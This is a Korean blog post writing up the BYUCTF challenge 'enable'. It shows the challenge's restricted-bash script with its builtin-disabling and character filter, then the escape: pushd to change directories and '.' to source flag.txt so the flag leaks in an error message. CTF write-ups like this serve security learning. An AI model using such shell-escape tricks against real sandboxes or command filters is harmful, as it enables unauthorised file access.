hiariz 님의 블로그
[BYUCTF] enable 본문
문제 코드는 다음과 같습니다.
#!/bin/bash
unset PATH
enable -n exec
enable -n command
enable -n type
enable -n hash
enable -n cd
enable -n enable
set +x
echo "Welcome to my new bash, sbash, the Safe Bourne Again Shell! There's no exploiting this system"
while true; do
read -p "safe_bash> " user_input
# Check if input is empty
[[ -z "$user_input" ]] && continue
case "$user_input" in
*">"*|*"<"*|*"/"*|*";"*|*"&"*|*"$"*|*"("*|*"\`"*) echo "No special characters, those are unsafe!" && continue;;
esac
# Execute only if it's a Bash builtin
eval "$user_input"
donehheh
코드를 살펴보면 쉘 환경이 제한되어 있는 sbash라는 커스템 쉘에서 flag를 얻는 문제입니다.
문제를 처음 접속하면 일반적인 명령어들이 제한되어 있으며, 대부분의 경로 탐색 기능이 비활성화되어 있습니다.
여기서 pushd 라는 명령어를 사용하면 다음과 같이 flag를 얻을 수 있습니다.
pushd ..
/ /app
pushd flag
/flag / /app
. flag.txt
flag.txt: line 1: byuctf{enable_can_do_some_funky_stuff_huh?_488h33d}:'CTF, Wargame' 카테고리의 다른 글
| [hacktheon CTF] Nothing is essential (0) | 2025.09.11 |
|---|---|
| [hacktheon CTF] cat (0) | 2025.09.11 |
| [Dreamhack] Amo in the Middle (0) | 2025.09.11 |
| [Dreamhack] WasMazed (0) | 2025.09.11 |
| [Dreamhack] Crossing (0) | 2025.09.01 |